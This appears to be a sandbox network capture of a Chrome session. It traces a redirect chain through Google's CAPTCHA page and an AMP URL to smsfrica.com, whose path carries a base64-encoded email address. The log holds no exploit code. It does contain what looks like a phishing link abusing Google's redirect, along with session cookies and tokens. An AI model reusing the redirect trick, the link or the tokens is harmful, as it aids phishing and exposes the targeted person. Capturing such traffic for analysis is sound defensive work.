2024-03-15 12:58:38 UTC	795	OUT	GET /recaptcha/api2/userverify?k=6LfwuyUTAAAAAOAmoS0fdqijC2PbbdH4kjq62Y1b HTTP/1.1 Host: www.google.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / X-Client-Data: CJC2yQEIprbJAQipncoBCLf3ygEIlqHLAQiFoM0BCLnKzQEIitPNAQjB1M0BCLrYzQEY9snNARjrjaUX Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _GRECAPTCHA=09ANeNL0QEMEzo5QBM1E_3j3VUfv8QK1_-jo1qLF-6Y6i5fj0WNNPfF49xwKDYO1D1PeBU0u0xUNQq4HeGwyPsFpQ; NID=511=X9Z9GC2VZ5PTUFlYUNdhKnJP24TRGpGqZqKFL9Pw-Ezk_duysZ_VzzYNGWyHcs80O3scFIEGWC4ejePhlgeAzI7DW28lCxtFqnZqwLPsW3aG59Guvp647PtH9EGoiqhxBjO7Es0rJ7PDVhdGCfedVrlCik0Vmojg2gUg6Tqi0JI
2024-03-15 12:58:38 UTC	518	IN	HTTP/1.1 405 HTTP method GET is not supported by this URL Content-Type: text/html; charset=UTF-8 Date: Fri, 15 Mar 2024 12:58:38 GMT Expires: Fri, 15 Mar 2024 12:58:38 GMT Cache-Control: private, max-age=0 X-Content-Type-Options: nosniff X-Frame-Options: SAMEORIGIN Content-Security-Policy: frame-ancestors 'self' X-XSS-Protection: 1; mode=block Server: GSE Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-03-15 12:58:38 UTC	217	IN	Data Raw: 64 33 0d 0a 3c 48 54 4d 4c 3e 0a 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 48 54 54 50 20 6d 65 74 68 6f 64 20 47 45 54 20 69 73 20 6e 6f 74 20 73 75 70 70 6f 72 74 65 64 20 62 79 20 74 68 69 73 20 55 52 4c 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 0a 3c 42 4f 44 59 20 42 47 43 4f 4c 4f 52 3d 22 23 46 46 46 46 46 46 22 20 54 45 58 54 3d 22 23 30 30 30 30 30 30 22 3e 0a 3c 48 31 3e 48 54 54 50 20 6d 65 74 68 6f 64 20 47 45 54 20 69 73 20 6e 6f 74 20 73 75 70 70 6f 72 74 65 64 20 62 79 20 74 68 69 73 20 55 52 4c 3c 2f 48 31 3e 0a 3c 48 32 3e 45 72 72 6f 72 20 34 30 35 3c 2f 48 32 3e 0a 3c 2f 42 4f 44 59 3e 0a 3c 2f 48 54 4d 4c 3e 0a 0d 0a Data Ascii: d3<HTML><HEAD><TITLE>HTTP method GET is not supported by this URL</TITLE></HEAD><BODY BGCOLOR="#FFFFFF" TEXT="#000000"><H1>HTTP method GET is not supported by this URL</H1><H2>Error 405</H2></BODY></HTML>
2024-03-15 12:58:38 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
42	192.168.2.17	49772	142.250.65.164	443	6220	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-15 12:58:38 UTC	1426	OUT	POST /sorry/index HTTP/1.1 Host: www.google.com Connection: keep-alive Content-Length: 1063 Cache-Control: max-age=0 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 Origin: https://www.google.com Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 X-Client-Data: CJC2yQEIprbJAQipncoBCLf3ygEIlqHLAQiFoM0BCNy9zQEIksrNAQi5ys0BCLbLzQEI6dLNAQiK080BCMHUzQEIz9bNAQjj1s0BCI7XzQEIp9jNAQi62M0BCPnA1BUYuL/NARj2yc0BGOuNpRc= Sec-Fetch-Site: same-origin Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Referer: https://www.google.com/sorry/index?continue=https://google.co.za/amp/s/smsfrica.com/QlS4h/YW1yb21hbm9Ac3RlaW5ib3JuLmNvbQ%3D%3D&q=EgS_YOPCGL6L0a8GIjAaJ8H2BhgUuvpf_NnyT2OYVT8w65mbz9ueyJW_p6cE8jZIK7EFGWsbGUV81JQQhlEyAXJKGVNPUlJZX0FCVVNJVkVfTkVUX01FU1NBR0VaAUM Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: NID=511=X9Z9GC2VZ5PTUFlYUNdhKnJP24TRGpGqZqKFL9Pw-Ezk_duysZ_VzzYNGWyHcs80O3scFIEGWC4ejePhlgeAzI7DW28lCxtFqnZqwLPsW3aG59Guvp647PtH9EGoiqhxBjO7Es0rJ7PDVhdGCfedVrlCik0Vmojg2gUg6Tqi0JI
2024-03-15 12:58:38 UTC	1063	OUT	Data Raw: 67 2d 72 65 63 61 70 74 63 68 61 2d 72 65 73 70 6f 6e 73 65 3d 30 33 41 46 63 57 65 41 37 31 59 53 33 74 79 41 6a 73 47 59 52 48 63 79 46 46 55 77 50 36 65 32 73 58 65 37 64 71 41 42 49 69 36 36 58 66 4f 57 54 72 6d 62 61 72 55 68 36 6c 61 6c 41 5f 46 72 30 34 4f 57 35 36 72 41 45 55 5a 4c 51 72 59 4d 58 63 5a 66 7a 33 32 4d 30 77 5a 58 30 56 52 4f 32 48 48 51 4f 70 49 75 56 47 71 39 37 62 67 55 4d 2d 31 36 30 56 52 37 35 56 59 79 7a 45 51 62 61 52 75 31 35 47 42 59 39 77 5a 38 4c 48 31 57 32 70 71 59 58 33 44 74 56 74 47 56 56 69 6a 49 36 4a 76 38 59 70 37 67 2d 68 35 65 79 61 70 34 2d 6b 43 30 4d 55 4d 6d 46 76 33 6f 44 5a 58 69 65 77 32 4d 72 47 4e 4f 69 76 79 46 7a 51 33 4f 4c 47 30 6e 70 73 31 4a 66 57 30 6b 44 2d 6a 6f 47 38 6a 77 73 73 55 78 75 54 Data Ascii: g-recaptcha-response=03AFcWeA71YS3tyAjsGYRHcyFFUwP6e2sXe7dqABIi66XfOWTrmbarUh6lalA_Fr04OW56rAEUZLQrYMXcZfz32M0wZX0VRO2HHQOpIuVGq97bgUM-160VR75VYyzEQbaRu15GBY9wZ8LH1W2pqYX3DtVtGVVijI6Jv8Yp7g-h5eyap4-kC0MUMmFv3oDZXiew2MrGNOivyFzQ3OLG0nps1JfW0kD-joG8jwssUxuT
2024-03-15 12:58:38 UTC	657	IN	HTTP/1.1 302 Found Location: https://google.co.za/amp/s/smsfrica.com/QlS4h/YW1yb21hbm9Ac3RlaW5ib3JuLmNvbQ==?google_abuse=GOOGLE_ABUSE_EXEMPTION%3DID%3Db066e27afb9bd585:TM%3D1710507518:C%3Dr:IP%3D191.96.227.194-:S%3DnHgvxESG7bS6D2rmcJa9xwc%3B+path%3D/%3B+domain%3Dgoogle.com%3B+expires%3DFri,+15-Mar-2024+15:58:38+GMT Date: Fri, 15 Mar 2024 12:58:38 GMT Pragma: no-cache Expires: Fri, 01 Jan 1990 00:00:00 GMT Cache-Control: no-store, no-cache, must-revalidate Content-Type: text/html; charset=UTF-8 Server: HTTP server (unknown) Content-Length: 484 X-XSS-Protection: 0 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-03-15 12:58:38 UTC	484	IN	Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 3c 54 49 54 4c 45 3e 33 30 32 20 4d 6f 76 65 64 3c 2f 54 49 54 4c 45 3e 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 33 30 32 20 4d 6f 76 65 64 3c 2f 48 31 3e 0a 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 0a 3c 41 20 48 52 45 46 3d 22 68 74 74 70 73 3a 2f 2f 67 6f 6f 67 6c 65 2e 63 6f 2e 7a 61 2f 61 6d 70 2f 73 2f 73 6d 73 66 72 69 63 61 2e 63 6f 6d 2f 51 6c 53 34 68 2f 59 57 31 79 62 32 31 68 62 6d 39 41 63 33 52 6c 61 57 35 69 62 33 4a 75 4c 6d 4e 76 62 51 3d 3d 3f 67 6f 6f 67 6c 65 5f 61 Data Ascii: <HTML><HEAD><meta http-equiv="content-type" content="text/html;charset=utf-8"><TITLE>302 Moved</TITLE></HEAD><BODY><H1>302 Moved</H1>The document has moved<A HREF="https://google.co.za/amp/s/smsfrica.com/QlS4h/YW1yb21hbm9Ac3RlaW5ib3JuLmNvbQ==?google_a

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
43	192.168.2.17	49773	142.251.35.163	443	6220	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-15 12:58:38 UTC	1363	OUT	GET /amp/s/smsfrica.com/QlS4h/YW1yb21hbm9Ac3RlaW5ib3JuLmNvbQ==?google_abuse=GOOGLE_ABUSE_EXEMPTION%3DID%3Db066e27afb9bd585:TM%3D1710507518:C%3Dr:IP%3D191.96.227.194-:S%3DnHgvxESG7bS6D2rmcJa9xwc%3B+path%3D/%3B+domain%3Dgoogle.com%3B+expires%3DFri,+15-Mar-2024+15:58:38+GMT HTTP/1.1 Host: google.co.za Connection: keep-alive Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 X-Client-Data: CJC2yQEIprbJAQipncoBCLf3ygEIlqHLAQiFoM0BCNy9zQEIksrNAQi5ys0BCLbLzQEI6dLNAQiK080BCMHUzQEIz9bNAQjj1s0BCI7XzQEIp9jNAQi62M0BCPnA1BUYuL/NARj2yc0BGOuNpRc= Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Referer: https://www.google.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: 1P_JAR=2024-03-15-12; NID=512=Y_N7SdjJORoaeU0RFGFXFZ3USiatxfWXO_2ps4EVsRLkZdsW9tB8v5rcSuIz7Z3M5HWvhOUcKSsu8SgVLyzmDpUVITXdWay8t5b7BhLrthO-zhehVzUqg9Qo8aiEmRdYzdrA57ZtJ5zcuQ1e4ECEV3WIQR7wKu0gWTJUpP_JHko
2024-03-15 12:58:39 UTC	1679	IN	HTTP/1.1 302 Found Location: https://google.co.za/amp/s/smsfrica.com/QlS4h/YW1yb21hbm9Ac3RlaW5ib3JuLmNvbQ== x-hallmonitor-challenge: CgwI_4vRrwYQiaK-rgESBL9g48I Content-Type: text/html; charset=UTF-8 Content-Security-Policy: object-src 'none';base-uri 'self';script-src 'nonce-oaNXBZX6FP62asKhl2FWhg' 'strict-dynamic' 'report-sample' 'unsafe-eval' 'unsafe-inline' https: http:;report-uri https://csp.withgoogle.com/csp/gws/cdt1 Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/cdt1"}]} Permissions-Policy: unload=() Origin-Trial: Ap+qNlnLzJDKSmEHjzM5ilaa908GuehlLqGb6ezME5lkhelj20qVzfv06zPmQ3LodoeujZuphAolrnhnPA8w4AIAAABfeyJvcmlnaW4iOiJodHRwczovL3d3dy5nb29nbGUuY29tOjQ0MyIsImZlYXR1cmUiOiJQZXJtaXNzaW9uc1BvbGljeVVubG9hZCIsImV4cGlyeSI6MTY4NTY2Mzk5OX0= Origin-Trial: AvudrjMZqL7335p1KLV2lHo1kxdMeIN0dUI15d0CPz9dovVLCcXk8OAqjho1DX4s6NbHbA/AGobuGvcZv0drGgQAAAB9eyJvcmlnaW4iOiJodHRwczovL3d3dy5nb29nbGUuY29tOjQ0MyIsImZlYXR1cmUiOiJCYWNrRm9yd2FyZENhY2hlTm90UmVzdG9yZWRSZWFzb25zIiwiZXhwaXJ5IjoxNjkxNTM5MTk5LCJpc1N1YmRvbWFpbiI6dHJ1ZX0= Date: Fri, 15 Mar 2024 12:58:39 GMT Server: gws Content-Length: 275 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Set-Cookie: GOOGLE_ABUSE_EXEMPTION=ID=b066e27afb9bd585:TM=1710507518:C=r:IP=191.96.227.194-:S=nHgvxESG7bS6D2rmcJa9xwc; path=/; domain=google.co.za; expires=Fri, 15-Mar-2024 15:58:38 GMT Set-Cookie: 1P_JAR=2024-03-15-12; expires=Sun, 14-Apr-2024 12:58:39 GMT; path=/; domain=.google.co.za; Secure; SameSite=none Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-03-15 12:58:39 UTC	275	IN	Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 3c 54 49 54 4c 45 3e 33 30 32 20 4d 6f 76 65 64 3c 2f 54 49 54 4c 45 3e 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 33 30 32 20 4d 6f 76 65 64 3c 2f 48 31 3e 0a 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 0a 3c 41 20 48 52 45 46 3d 22 68 74 74 70 73 3a 2f 2f 67 6f 6f 67 6c 65 2e 63 6f 2e 7a 61 2f 61 6d 70 2f 73 2f 73 6d 73 66 72 69 63 61 2e 63 6f 6d 2f 51 6c 53 34 68 2f 59 57 31 79 62 32 31 68 62 6d 39 41 63 33 52 6c 61 57 35 69 62 33 4a 75 4c 6d 4e 76 62 51 3d 3d 22 3e 68 65 72 65 3c 2f 41 Data Ascii: <HTML><HEAD><meta http-equiv="content-type" content="text/html;charset=utf-8"><TITLE>302 Moved</TITLE></HEAD><BODY><H1>302 Moved</H1>The document has moved<A HREF="https://google.co.za/amp/s/smsfrica.com/QlS4h/YW1yb21hbm9Ac3RlaW5ib3JuLmNvbQ==">here</A

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
44	192.168.2.17	49774	142.251.35.163	443	6220	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-15 12:58:39 UTC	1261	OUT	GET /amp/s/smsfrica.com/QlS4h/YW1yb21hbm9Ac3RlaW5ib3JuLmNvbQ== HTTP/1.1 Host: google.co.za Connection: keep-alive Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 X-Client-Data: CJC2yQEIprbJAQipncoBCLf3ygEIlqHLAQiFoM0BCNy9zQEIksrNAQi5ys0BCLbLzQEI6dLNAQiK080BCMHUzQEIz9bNAQjj1s0BCI7XzQEIp9jNAQi62M0BCPnA1BUYuL/NARj2yc0BGOuNpRc= Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Referer: https://www.google.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: 1P_JAR=2024-03-15-12; NID=512=Y_N7SdjJORoaeU0RFGFXFZ3USiatxfWXO_2ps4EVsRLkZdsW9tB8v5rcSuIz7Z3M5HWvhOUcKSsu8SgVLyzmDpUVITXdWay8t5b7BhLrthO-zhehVzUqg9Qo8aiEmRdYzdrA57ZtJ5zcuQ1e4ECEV3WIQR7wKu0gWTJUpP_JHko; GOOGLE_ABUSE_EXEMPTION=ID=b066e27afb9bd585:TM=1710507518:C=r:IP=191.96.227.194-:S=nHgvxESG7bS6D2rmcJa9xwc
2024-03-15 12:58:39 UTC	1408	IN	HTTP/1.1 301 Moved Permanently Location: https://www.google.co.za/amp/s/smsfrica.com/QlS4h/YW1yb21hbm9Ac3RlaW5ib3JuLmNvbQ== Content-Type: text/html; charset=UTF-8 Content-Security-Policy: object-src 'none';base-uri 'self';script-src 'nonce-WasoCKZ2GrOYXG-JXcy9mA' 'strict-dynamic' 'report-sample' 'unsafe-eval' 'unsafe-inline' https: http:;report-uri https://csp.withgoogle.com/csp/gws/cdt1 Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/cdt1"}]} Permissions-Policy: unload=() Origin-Trial: Ap+qNlnLzJDKSmEHjzM5ilaa908GuehlLqGb6ezME5lkhelj20qVzfv06zPmQ3LodoeujZuphAolrnhnPA8w4AIAAABfeyJvcmlnaW4iOiJodHRwczovL3d3dy5nb29nbGUuY29tOjQ0MyIsImZlYXR1cmUiOiJQZXJtaXNzaW9uc1BvbGljeVVubG9hZCIsImV4cGlyeSI6MTY4NTY2Mzk5OX0= Origin-Trial: AvudrjMZqL7335p1KLV2lHo1kxdMeIN0dUI15d0CPz9dovVLCcXk8OAqjho1DX4s6NbHbA/AGobuGvcZv0drGgQAAAB9eyJvcmlnaW4iOiJodHRwczovL3d3dy5nb29nbGUuY29tOjQ0MyIsImZlYXR1cmUiOiJCYWNrRm9yd2FyZENhY2hlTm90UmVzdG9yZWRSZWFzb25zIiwiZXhwaXJ5IjoxNjkxNTM5MTk5LCJpc1N1YmRvbWFpbiI6dHJ1ZX0= Date: Fri, 15 Mar 2024 12:58:39 GMT Expires: Sun, 14 Apr 2024 12:58:39 GMT Cache-Control: public, max-age=2592000 Server: gws Content-Length: 279 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-03-15 12:58:39 UTC	279	IN	Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 3c 54 49 54 4c 45 3e 33 30 31 20 4d 6f 76 65 64 3c 2f 54 49 54 4c 45 3e 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 33 30 31 20 4d 6f 76 65 64 3c 2f 48 31 3e 0a 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 0a 3c 41 20 48 52 45 46 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 2e 7a 61 2f 61 6d 70 2f 73 2f 73 6d 73 66 72 69 63 61 2e 63 6f 6d 2f 51 6c 53 34 68 2f 59 57 31 79 62 32 31 68 62 6d 39 41 63 33 52 6c 61 57 35 69 62 33 4a 75 4c 6d 4e 76 62 51 3d 3d 22 3e 68 65 72 Data Ascii: <HTML><HEAD><meta http-equiv="content-type" content="text/html;charset=utf-8"><TITLE>301 Moved</TITLE></HEAD><BODY><H1>301 Moved</H1>The document has moved<A HREF="https://www.google.co.za/amp/s/smsfrica.com/QlS4h/YW1yb21hbm9Ac3RlaW5ib3JuLmNvbQ==">her

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
45	192.168.2.17	49775	142.251.35.163	443	6220	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-15 12:58:40 UTC	1265	OUT	GET /amp/s/smsfrica.com/QlS4h/YW1yb21hbm9Ac3RlaW5ib3JuLmNvbQ== HTTP/1.1 Host: www.google.co.za Connection: keep-alive Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 X-Client-Data: CJC2yQEIprbJAQipncoBCLf3ygEIlqHLAQiFoM0BCNy9zQEIksrNAQi5ys0BCLbLzQEI6dLNAQiK080BCMHUzQEIz9bNAQjj1s0BCI7XzQEIp9jNAQi62M0BCPnA1BUYuL/NARj2yc0BGOuNpRc= Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Referer: https://www.google.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: 1P_JAR=2024-03-15-12; NID=512=Y_N7SdjJORoaeU0RFGFXFZ3USiatxfWXO_2ps4EVsRLkZdsW9tB8v5rcSuIz7Z3M5HWvhOUcKSsu8SgVLyzmDpUVITXdWay8t5b7BhLrthO-zhehVzUqg9Qo8aiEmRdYzdrA57ZtJ5zcuQ1e4ECEV3WIQR7wKu0gWTJUpP_JHko; GOOGLE_ABUSE_EXEMPTION=ID=b066e27afb9bd585:TM=1710507518:C=r:IP=191.96.227.194-:S=nHgvxESG7bS6D2rmcJa9xwc
2024-03-15 12:58:40 UTC	1511	IN	HTTP/1.1 302 Found Location: https://smsfrica.com/QlS4h/YW1yb21hbm9Ac3RlaW5ib3JuLmNvbQ== Cache-Control: private X-Robots-Tag: noindex Content-Type: text/html; charset=UTF-8 Strict-Transport-Security: max-age=31536000 Content-Security-Policy: object-src 'none';base-uri 'self';script-src 'nonce-YITcTjeLDxxbGRFqXdfoUQ' 'strict-dynamic' 'report-sample' 'unsafe-eval' 'unsafe-inline' https: http:;report-uri https://csp.withgoogle.com/csp/gws/cdt1 Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/cdt1"}]} Permissions-Policy: unload=() Origin-Trial: Ap+qNlnLzJDKSmEHjzM5ilaa908GuehlLqGb6ezME5lkhelj20qVzfv06zPmQ3LodoeujZuphAolrnhnPA8w4AIAAABfeyJvcmlnaW4iOiJodHRwczovL3d3dy5nb29nbGUuY29tOjQ0MyIsImZlYXR1cmUiOiJQZXJtaXNzaW9uc1BvbGljeVVubG9hZCIsImV4cGlyeSI6MTY4NTY2Mzk5OX0= Origin-Trial: AvudrjMZqL7335p1KLV2lHo1kxdMeIN0dUI15d0CPz9dovVLCcXk8OAqjho1DX4s6NbHbA/AGobuGvcZv0drGgQAAAB9eyJvcmlnaW4iOiJodHRwczovL3d3dy5nb29nbGUuY29tOjQ0MyIsImZlYXR1cmUiOiJCYWNrRm9yd2FyZENhY2hlTm90UmVzdG9yZWRSZWFzb25zIiwiZXhwaXJ5IjoxNjkxNTM5MTk5LCJpc1N1YmRvbWFpbiI6dHJ1ZX0= Date: Fri, 15 Mar 2024 12:58:40 GMT Server: gws Content-Length: 256 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Set-Cookie: 1P_JAR=2024-03-15-12; expires=Sun, 14-Apr-2024 12:58:40 GMT; path=/; domain=.google.co.za; Secure; SameSite=none Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-03-15 12:58:40 UTC	256	IN	Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 3c 54 49 54 4c 45 3e 33 30 32 20 4d 6f 76 65 64 3c 2f 54 49 54 4c 45 3e 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 33 30 32 20 4d 6f 76 65 64 3c 2f 48 31 3e 0a 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 0a 3c 41 20 48 52 45 46 3d 22 68 74 74 70 73 3a 2f 2f 73 6d 73 66 72 69 63 61 2e 63 6f 6d 2f 51 6c 53 34 68 2f 59 57 31 79 62 32 31 68 62 6d 39 41 63 33 52 6c 61 57 35 69 62 33 4a 75 4c 6d 4e 76 62 51 3d 3d 22 3e 68 65 72 65 3c 2f 41 3e 2e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d Data Ascii: <HTML><HEAD><meta http-equiv="content-type" content="text/html;charset=utf-8"><TITLE>302 Moved</TITLE></HEAD><BODY><H1>302 Moved</H1>The document has moved<A HREF="https://smsfrica.com/QlS4h/YW1yb21hbm9Ac3RlaW5ib3JuLmNvbQ==">here</A>.</BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
46	192.168.2.17	49776	192.185.112.107	443	6220	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-15 12:58:40 UTC	759	OUT	GET /QlS4h/YW1yb21hbm9Ac3RlaW5ib3JuLmNvbQ== HTTP/1.1 Host: smsfrica.com Connection: keep-alive Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Referer: https://www.google.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-03-15 12:58:41 UTC	263	IN	HTTP/1.1 403 Forbidden Date: Fri, 15 Mar 2024 12:58:40 GMT Server: Apache Upgrade: h2,h2c Connection: Upgrade, close Last-Modified: Fri, 30 Sep 2022 16:13:16 GMT Accept-Ranges: bytes Content-Length: 17108 Vary: Accept-Encoding Content-Type: text/html
2024-03-15 12:58:41 UTC	7929	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 53 74 72 69 63 74 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 73 74 72 69 63 74 2e 64 74 64 22 3e 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 20 78 6d 6c 3a 6c 61 6e 67 3d 22 65 6e 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 20 70 72 6f 66 69 6c 65 3d 22 68 74 74 70 3a 2f 2f 67 6d 70 67 2e 6f 72 67 2f 78 66 6e 2f 31 31 22 3e 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"><head profile="http://gmpg.org/xfn/11"> <meta http-equiv="Content-Typ
